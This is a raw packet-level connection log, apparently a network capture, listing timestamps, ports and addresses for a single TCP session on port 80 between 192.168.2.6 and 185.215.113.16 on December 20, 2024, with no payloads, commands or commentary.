Dec 20, 2024 16:19:55.596098900 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:55.596698046 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:55.596746922 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:55.596827030 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:55.596842051 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:55.596879005 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:55.597728968 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:55.597744942 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:55.597760916 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:55.597783089 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:55.598381042 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:55.598426104 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:55.598536015 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:55.598556042 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:55.598603010 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:55.599210978 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:55.599267960 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:55.599283934 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:55.599359035 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:55.599956036 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:55.600003004 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:55.600008011 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:55.600158930 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:55.600652933 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:55.600703001 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:55.600752115 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:55.600768089 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:55.600807905 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:55.601511955 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:55.601556063 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:55.601591110 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:55.601608992 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:55.601655960 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:55.602199078 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:55.636359930 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:55.648848057 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:55.766108036 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:55.766235113 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:55.766252995 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:55.766294956 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:55.766438961 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:55.766485929 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:55.766501904 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:55.766530037 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:55.766556025 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:55.767103910 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:55.767375946 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:55.767410994 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:55.767414093 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:55.767591000 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:55.767606020 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:55.767702103 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:55.768202066 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:55.768315077 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:55.768342972 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:55.768373013 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:55.768388987 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:55.768982887 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:55.769079924 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:55.769095898 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:55.769126892 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:55.769767046 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:55.769815922 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:55.769872904 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:55.769889116 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:55.769927979 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:55.770549059 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:55.770670891 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:55.770713091 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:55.770713091 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:55.771297932 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:55.771327972 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:55.771419048 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:55.771435976 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:55.771521091 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:55.772070885 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:55.772206068 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:55.772223949 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:55.772281885 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:55.772845030 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:55.772891998 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:55.772985935 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:55.773010015 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:55.773050070 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:55.773778915 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:55.773794889 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:55.773813009 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:55.773845911 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:55.774482012 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:55.774527073 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:55.774591923 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:55.774607897 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:55.774646997 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:55.775490046 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:55.775515079 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:55.775532961 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:55.775552034 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:55.776124001 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:55.776174068 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:55.776186943 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:55.776202917 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:55.776254892 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:55.776819944 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:55.776946068 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:55.776962042 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:55.777035952 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:55.777537107 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:55.777580976 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:55.777686119 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:55.777703047 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:55.777817011 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:55.778338909 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:55.778444052 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:55.778460026 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:55.778502941 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:55.779145002 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:55.779191017 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:55.779289961 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:55.779306889 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:55.779375076 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:55.779913902 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:55.779989958 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:55.780005932 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:55.780035019 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:55.780683994 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:55.780746937 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:55.780792952 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:55.780808926 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:55.780879021 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:55.781498909 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:55.781636953 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:55.781653881 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:55.781697989 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:55.782217979 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:55.782269955 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:55.782335043 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:55.782351971 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:55.782550097 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:55.783020973 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:55.783119917 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:55.783142090 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:55.783195019 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:55.783801079 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:55.783859968 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:55.784066916 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:55.784085035 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:55.784126997 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:55.784198999 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:55.784848928 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:55.784895897 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:55.784967899 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:55.784984112 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:55.785052061 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:55.785656929 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:55.785815954 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:55.785830975 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:55.785861969 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:55.786427975 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:55.786537886 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:55.786560059 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:55.786576986 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:55.786624908 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:55.787197113 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:55.787321091 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:55.787343979 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:55.787381887 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:55.788300037 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:55.788352013 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:55.788639069 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:55.788655043 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:55.788763046 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:55.789776087 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:55.789999962 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:55.790015936 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:55.790045977 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:55.790863991 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:55.790967941 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:55.790985107 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:55.791002035 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:55.791047096 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:55.791368961 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:55.791455030 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:55.791490078 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:55.791496038 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:55.791980028 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:55.792102098 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:55.792118073 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:55.792128086 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:55.792277098 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:55.792481899 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:55.792593956 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:55.792620897 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:55.792664051 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:55.793066025 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:55.793119907 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:55.793180943 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:55.793196917 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:55.793231010 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:55.886249065 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:55.907049894 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:55.958601952 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:55.958786011 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:55.958800077 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:55.958997965 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:55.959217072 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:55.959229946 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:55.959242105 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:55.959259033 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:55.959300041 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:55.959809065 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:55.959840059 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:55.960020065 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:55.960033894 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:55.960057974 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:55.960088968 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:55.960227966 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:55.960756063 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:55.960804939 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:55.960861921 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:55.960874081 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:55.960930109 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:55.961471081 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:55.961575031 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:55.961587906 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:55.961617947 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:55.962219000 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:55.962337971 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:55.962368965 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:55.962438107 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:55.962438107 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:55.963067055 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:55.963154078 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:55.963172913 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:55.963215113 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:55.963793993 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:55.963912964 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:55.963926077 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:55.963957071 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:55.963969946 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:55.964744091 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:55.964771986 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:55.964786053 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:55.965372086 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:55.965416908 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:55.965445042 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:55.965456963 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:55.965504885 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:55.966129065 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:55.966213942 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:55.966243982 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:55.966258049 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:55.966933966 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:55.967106104 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:55.967118979 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:55.967170954 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:55.967696905 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:55.967792988 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:55.967806101 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:55.967957973 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:55.968466043 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:55.968560934 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:55.968579054 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:55.968583107 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:55.968631029 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:55.969360113 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:55.969472885 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:55.969486952 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:55.969516993 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:55.970110893 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:55.970174074 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:55.970227003 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:55.970238924 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:55.970273018 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:55.970863104 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:55.970972061 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:55.970983028 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:55.971039057 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:55.971584082 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:55.971632957 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:55.971689939 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:55.971702099 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:55.971843004 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:55.972398996 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:55.972569942 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:55.972583055 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:55.972630978 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:55.973128080 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:55.973180056 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:55.973248959 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:55.973264933 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:55.973315001 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:55.973932981 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:55.974078894 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:55.974090099 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:55.974118948 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:55.974715948 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:55.974823952 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:55.974826097 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:55.974839926 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:55.974961042 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:55.975554943 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:55.975681067 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:55.975692987 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:55.975742102 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:55.976281881 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:55.976337910 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:55.976563931 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:55.976577044 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:55.976630926 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:55.977197886 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:55.977324009 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:55.977343082 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:55.977420092 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:55.977596998 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:55.977670908 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:55.978096962 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:55.978231907 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:55.978244066 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:55.978292942 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:55.979006052 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:55.979041100 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:55.979058027 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:55.979093075 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:55.979120016 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:55.979641914 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:55.979768991 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:55.979780912 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:55.979816914 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:55.980401993 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:55.980561018 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:55.980573893 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:55.980607986 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:55.980637074 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:55.981228113 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:55.981312990 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:55.981326103 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:55.981373072 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:55.982038975 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:55.982116938 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:55.982147932 CET	80	49828	185.215.113.16	192.168.2.6
